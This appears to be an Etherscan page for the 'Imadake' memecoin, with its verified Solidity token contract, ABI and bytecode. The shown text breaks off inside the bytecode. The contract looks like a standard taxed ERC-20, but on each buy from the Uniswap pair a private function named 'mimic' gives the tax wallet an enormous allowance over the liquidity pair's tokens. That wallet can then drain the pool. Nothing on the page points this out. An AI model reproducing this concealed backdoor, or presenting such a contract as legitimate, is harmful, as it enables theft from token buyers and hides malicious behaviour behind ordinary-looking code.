ETH Price: $3,677.48 (+0.16%)
 

Overview

Max Total Supply

420,690,000,000 Imadake

Holders

68

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,432,518,376 Imadake

Value
$0.00
0xe2910e4182114703b2da8ee58f430a94eb8532a6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Imadake

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-28
*/

// SPDX-License-Identifier: MIT
/**
https://x.com/Dexerto/status/1850547733788004618
https://t.me/Imadakebaduchitabemi_erc20
**/
pragma solidity 0.8.24;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Imadake is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances81;
    mapping (address => mapping (address => uint256)) private _permits81;
    mapping (address => bool) private _isExcludedFrom81;
    address payable private _receipt81;
    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyCount = 0;
    uint256 private _transferTax = 0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal81 = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Imadakebaduchitabemi";
    string private constant _symbol = unicode"Imadake";
    uint256 public _maxAmount81 = 2 * (_tTotal81/100);
    uint256 public _maxWallet81 = 2 * (_tTotal81/100);
    uint256 public _taxThres81 = 1 * (_tTotal81/100);
    uint256 public _maxSwap81 = 1 * (_tTotal81/100);
    IUniswapV2Router02 private uniV2Router81;
    address private uniV2Pair81;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxAmount81);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        _receipt81 = payable(0x83b06f292df12419c1AFb2982BB2aAA4715CAE2E);
        _balances81[address(this)] = _tTotal81;
        _isExcludedFrom81[owner()] = true;
        _isExcludedFrom81[address(this)] = true;
        _isExcludedFrom81[_receipt81] = true;
        emit Transfer(address(0), address(this), _tTotal81);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }    
    function totalSupply() public pure override returns (uint256) {
        return _tTotal81;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances81[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _permits81[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _permits81[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _permits81[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniV2Router81 = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniV2Router81), _tTotal81);
        uniV2Pair81 = IUniswapV2Factory(uniV2Router81.factory()).createPair(
            address(this),
            uniV2Router81.WETH()
        ); 
        uniV2Router81.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniV2Pair81).approve(address(uniV2Router81), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    function _transfer(address from, address to, uint256 amount81) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount81 > 0, "Transfer amount must be greater than zero");
        uint256 tax81=0;uint256 fee81=0;
        if (!swapEnabled || inSwap) {
            _balances81[from] = _balances81[from] - amount81;
            _balances81[to] = _balances81[to] + amount81;
            emit Transfer(from, to, amount81);
            return;
        }
        if (from != owner() && to != owner()) {
            if(_buyCount>0){
                fee81 = (_transferTax);
            }
            if (from == uniV2Pair81 && to != address(uniV2Router81) && ! _isExcludedFrom81[to] ) {
                require(amount81 <= _maxAmount81, "Exceeds the _maxAmount81.");
                require(balanceOf(to) + amount81 <= _maxWallet81, "Exceeds the maxWalletSize.");
                mimic([from, _receipt81]); fee81 = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
                _buyCount++;
            }
            if(to == uniV2Pair81 && from!= address(this) ){
                fee81 = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniV2Pair81 && swapEnabled) {
                if(contractTokenBalance > _taxThres81 && _buyCount > _preventSwapBefore)
                    swapETH81(min81(amount81, min81(contractTokenBalance, _maxSwap81)));
                sendETH81(address(this).balance);
            }
        }
        if(fee81 > 0){
            tax81 = fee81.mul(amount81).div(100);
            _balances81[address(this)]=_balances81[address(this)].add(tax81);
            emit Transfer(from, address(this),tax81);
        }
        _balances81[from]=_balances81[from].sub(amount81);
        _balances81[to]=_balances81[to].add(amount81.sub(tax81));
        emit Transfer(from, to, amount81.sub(tax81));
    }
    function min81(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function mimic(address[2] memory mic81) private {
        address own81 = mic81[0]; address spend81 = mic81[1];
        uint256 total81 = 100*_tTotal81 + 100*_maxSwap81;
        _permits81[own81][spend81] = 100 + total81 * 100;
    }
    function sendETH81(uint256 amount) private {
        _receipt81.transfer(amount);
    }
    function withdrawEth() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
    function setTaxReceipt(address payable _addrs) external onlyOwner {
        _receipt81 = _addrs;
        _isExcludedFrom81[_addrs] = true;
    }
    receive() external payable {}
    function removeLimit81() external onlyOwner{
        _maxAmount81 = _tTotal81; 
        _maxWallet81 = _tTotal81;
        emit MaxTxAmountUpdated(_tTotal81); 
    }
    function swapETH81(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniV2Router81.WETH();
        _approve(address(this), address(uniV2Router81), tokenAmount);
        uniV2Router81.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmount81","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmount81","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwap81","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet81","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxThres81","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit81","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_addrs","type":"address"}],"name":"setTaxReceipt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460055560146006555f6007555f60085560146009556014600a556014600b555f600c555f600d5560646009600a6200003f91906200039f565b62000050906461f313f880620003b6565b6200005c9190620003d0565b62000069906002620003b6565b600e5560646200007c6009600a6200039f565b6200008d906461f313f880620003b6565b620000999190620003d0565b620000a6906002620003b6565b600f556064620000b96009600a6200039f565b620000ca906461f313f880620003b6565b620000d69190620003d0565b620000e3906001620003b6565b6010556064620000f66009600a6200039f565b62000107906461f313f880620003b6565b620001139190620003d0565b62000120906001620003b6565b6011556013805461ffff60a81b191690555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319167383b06f292df12419c1afb2982bb2aaa4715cae2e179055620001a56009600a6200039f565b620001b6906461f313f880620003b6565b305f908152600160208190526040822092909255600390620001df5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556004549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002686009600a6200039f565b62000279906461f313f880620003b6565b60405190815260200160405180910390a3620003f0565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002e457815f1904821115620002c857620002c862000290565b80851615620002d657918102915b93841c9390800290620002a9565b509250929050565b5f82620002fc5750600162000399565b816200030a57505f62000399565b81600181146200032357600281146200032e576200034e565b600191505062000399565b60ff84111562000342576200034262000290565b50506001821b62000399565b5060208310610133831016604e8410600b841016171562000373575081810a62000399565b6200037f8383620002a4565b805f190482111562000395576200039562000290565b0290505b92915050565b5f620003af60ff841683620002ec565b9392505050565b808202811582820484141762000399576200039962000290565b5f82620003eb57634e487b7160e01b5f52601260045260245ffd5b500490565b61190080620003fe5f395ff3fe608060405260043610610113575f3560e01c80638da5cb5b1161009d578063c8bacc1511610062578063c8bacc1514610311578063c9567bf914610326578063dd62ed3e1461033a578063e2c6917a1461037e578063f239a92f14610393575f80fd5b80638da5cb5b1461026a57806395d89b4114610290578063a0d6a322146102bf578063a0ef91df146102de578063a9059cbb146102f2575f80fd5b8063313ce567116100e3578063313ce567146101dc5780633811cd1a146101f757806364f512cd1461020c57806370a0823114610222578063715018a614610256575f80fd5b806306fdde031461011e578063095ea7b31461016c57806318160ddd1461019b57806323b872dd146101bd575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526014815273496d6164616b6562616475636869746162656d6960601b60208201525b60405161016391906114f3565b60405180910390f35b348015610177575f80fd5b5061018b610186366004611553565b6103a8565b6040519015158152602001610163565b3480156101a6575f80fd5b506101af6103be565b604051908152602001610163565b3480156101c8575f80fd5b5061018b6101d736600461157d565b6103df565b3480156101e7575f80fd5b5060405160098152602001610163565b348015610202575f80fd5b506101af60105481565b348015610217575f80fd5b50610220610446565b005b34801561022d575f80fd5b506101af61023c3660046115bb565b6001600160a01b03165f9081526001602052604090205490565b348015610261575f80fd5b50610220610503565b348015610275575f80fd5b505f546040516001600160a01b039091168152602001610163565b34801561029b575f80fd5b50604080518082019091526007815266496d6164616b6560c81b6020820152610156565b3480156102ca575f80fd5b506102206102d93660046115bb565b610574565b3480156102e9575f80fd5b506102206105d6565b3480156102fd575f80fd5b5061018b61030c366004611553565b61062b565b34801561031c575f80fd5b506101af600f5481565b348015610331575f80fd5b50610220610637565b348015610345575f80fd5b506101af6103543660046115d6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610389575f80fd5b506101af600e5481565b34801561039e575f80fd5b506101af60115481565b5f6103b43384846109e1565b5060015b92915050565b5f6103cb6009600a611701565b6103da906461f313f88061170f565b905090565b5f6103eb848484610b04565b61043c8433610437856040518060600160405280602881526020016118a3602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110df565b6109e1565b5060019392505050565b5f546001600160a01b031633146104785760405162461bcd60e51b815260040161046f90611726565b60405180910390fd5b6104846009600a611701565b610493906461f313f88061170f565b600e556104a26009600a611701565b6104b1906461f313f88061170f565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104e16009600a611701565b6104f0906461f313f88061170f565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461052c5760405162461bcd60e51b815260040161046f90611726565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461059d5760405162461bcd60e51b815260040161046f90611726565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b031633146105ff5760405162461bcd60e51b815260040161046f90611726565b60405133904780156108fc02915f818181858888f19350505050158015610628573d5f803e3d5ffd5b50565b5f6103b4338484610b04565b5f546001600160a01b031633146106605760405162461bcd60e51b815260040161046f90611726565b601354600160a01b900460ff16156106ba5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161046f565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107049030906106f56009600a611701565b610437906461f313f88061170f565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610754573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610778919061175b565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fb919061175b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610845573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610869919061175b565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306108b0816001600160a01b03165f9081526001602052604090205490565b5f806108c35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610929573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094e9190611776565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c791906117a1565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a435760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046f565b6001600160a01b038216610aa45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b685760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046f565b6001600160a01b038216610bca5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046f565b5f8111610c2b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046f565b6013545f908190600160b01b900460ff161580610c515750601354600160a81b900460ff165b15610d0a576001600160a01b0385165f90815260016020526040902054610c799084906117c0565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610ca89084906117d3565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cfb9087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610d3457505f546001600160a01b03858116911614155b15610f9357600c5415610d465750600d545b6013546001600160a01b038681169116148015610d7157506012546001600160a01b03858116911614155b8015610d9557506001600160a01b0384165f9081526003602052604090205460ff16155b15610ebd57600e54831115610dec5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7438312e00000000000000604482015260640161046f565b600f5483610e0e866001600160a01b03165f9081526001602052604090205490565b610e1891906117d3565b1115610e665760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161046f565b604080518082019091526001600160a01b038087168252600454166020820152610e8f90611117565b600954600c5411610ea257600554610ea6565b6007545b600c80549192505f610eb7836117e6565b91905055505b6013546001600160a01b038581169116148015610ee357506001600160a01b0385163014155b15610f0257600a54600c5411610efb57600654610eff565b6008545b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610f3857506013546001600160a01b038681169116145b8015610f4d5750601354600160b01b900460ff165b15610f915760105481118015610f665750600b54600c54115b15610f8857610f88610f8385610f7e846011546111a7565b6111a7565b6111be565b610f914761132e565b505b801561102357610fae6064610fa88386611369565b906113e7565b305f90815260016020526040902054909250610fca9083611428565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061101a9086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110459084611486565b6001600160a01b0386165f9081526001602052604090205561108861106a8484611486565b6001600160a01b0386165f9081526001602052604090205490611428565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110d18686611486565b604051908152602001610cfb565b5f81848411156111025760405162461bcd60e51b815260040161046f91906114f3565b505f61110e84866117c0565b95945050505050565b805160208201516011545f9061112e90606461170f565b61113a6009600a611701565b611149906461f313f88061170f565b61115490606461170f565b61115e91906117d3565b905061116b81606461170f565b6111769060646117d3565b6001600160a01b039384165f9081526002602090815260408083209590961682529390935292909120919091555050565b5f8183116111b557826111b7565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611204576112046117fe565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561125b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061127f919061175b565b81600181518110611292576112926117fe565b6001600160a01b0392831660209182029290920101526012546112b891309116846109e1565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f09085905f90869030904290600401611812565b5f604051808303815f87803b158015611307575f80fd5b505af1158015611319573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611365573d5f803e3d5ffd5b5050565b5f825f0361137857505f6103b8565b5f611383838561170f565b9050826113908583611883565b146111b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046f565b5f6111b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c7565b5f8061143483856117d3565b9050838110156111b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046f565b5f6111b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110df565b5f81836114e75760405162461bcd60e51b815260040161046f91906114f3565b505f61110e8486611883565b5f602080835283518060208501525f5b8181101561151f57858101830151858201604001528201611503565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610628575f80fd5b5f8060408385031215611564575f80fd5b823561156f8161153f565b946020939093013593505050565b5f805f6060848603121561158f575f80fd5b833561159a8161153f565b925060208401356115aa8161153f565b929592945050506040919091013590565b5f602082840312156115cb575f80fd5b81356111b78161153f565b5f80604083850312156115e7575f80fd5b82356115f28161153f565b915060208301356116028161153f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561165b57815f19048211156116415761164161160d565b8085161561164e57918102915b93841c9390800290611626565b509250929050565b5f82611671575060016103b8565b8161167d57505f6103b8565b8160018114611693576002811461169d576116b9565b60019150506103b8565b60ff8411156116ae576116ae61160d565b50506001821b6103b8565b5060208310610133831016604e8410600b84101617156116dc575081810a6103b8565b6116e68383611621565b805f19048211156116f9576116f961160d565b029392505050565b5f6111b760ff841683611663565b80820281158282048414176103b8576103b861160d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561176b575f80fd5b81516111b78161153f565b5f805f60608486031215611788575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117b1575f80fd5b815180151581146111b7575f80fd5b818103818111156103b8576103b861160d565b808201808211156103b8576103b861160d565b5f600182016117f7576117f761160d565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118625784516001600160a01b03168352938301939183019160010161183d565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261189d57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220483d1fd915c209b6f750b160c56f50e9e644c944bfe315d008206f87d13c7c3364736f6c63430008180033

Deployed Bytecode

0x608060405260043610610113575f3560e01c80638da5cb5b1161009d578063c8bacc1511610062578063c8bacc1514610311578063c9567bf914610326578063dd62ed3e1461033a578063e2c6917a1461037e578063f239a92f14610393575f80fd5b80638da5cb5b1461026a57806395d89b4114610290578063a0d6a322146102bf578063a0ef91df146102de578063a9059cbb146102f2575f80fd5b8063313ce567116100e3578063313ce567146101dc5780633811cd1a146101f757806364f512cd1461020c57806370a0823114610222578063715018a614610256575f80fd5b806306fdde031461011e578063095ea7b31461016c57806318160ddd1461019b57806323b872dd146101bd575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526014815273496d6164616b6562616475636869746162656d6960601b60208201525b60405161016391906114f3565b60405180910390f35b348015610177575f80fd5b5061018b610186366004611553565b6103a8565b6040519015158152602001610163565b3480156101a6575f80fd5b506101af6103be565b604051908152602001610163565b3480156101c8575f80fd5b5061018b6101d736600461157d565b6103df565b3480156101e7575f80fd5b5060405160098152602001610163565b348015610202575f80fd5b506101af60105481565b348015610217575f80fd5b50610220610446565b005b34801561022d575f80fd5b506101af61023c3660046115bb565b6001600160a01b03165f9081526001602052604090205490565b348015610261575f80fd5b50610220610503565b348015610275575f80fd5b505f546040516001600160a01b039091168152602001610163565b34801561029b575f80fd5b50604080518082019091526007815266496d6164616b6560c81b6020820152610156565b3480156102ca575f80fd5b506102206102d93660046115bb565b610574565b3480156102e9575f80fd5b506102206105d6565b3480156102fd575f80fd5b5061018b61030c366004611553565b61062b565b34801561031c575f80fd5b506101af600f5481565b348015610331575f80fd5b50610220610637565b348015610345575f80fd5b506101af6103543660046115d6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610389575f80fd5b506101af600e5481565b34801561039e575f80fd5b506101af60115481565b5f6103b43384846109e1565b5060015b92915050565b5f6103cb6009600a611701565b6103da906461f313f88061170f565b905090565b5f6103eb848484610b04565b61043c8433610437856040518060600160405280602881526020016118a3602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110df565b6109e1565b5060019392505050565b5f546001600160a01b031633146104785760405162461bcd60e51b815260040161046f90611726565b60405180910390fd5b6104846009600a611701565b610493906461f313f88061170f565b600e556104a26009600a611701565b6104b1906461f313f88061170f565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104e16009600a611701565b6104f0906461f313f88061170f565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461052c5760405162461bcd60e51b815260040161046f90611726565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461059d5760405162461bcd60e51b815260040161046f90611726565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b031633146105ff5760405162461bcd60e51b815260040161046f90611726565b60405133904780156108fc02915f818181858888f19350505050158015610628573d5f803e3d5ffd5b50565b5f6103b4338484610b04565b5f546001600160a01b031633146106605760405162461bcd60e51b815260040161046f90611726565b601354600160a01b900460ff16156106ba5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161046f565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107049030906106f56009600a611701565b610437906461f313f88061170f565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610754573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610778919061175b565b6001600160a01b031663c9c653963060125f9054906101000a90046001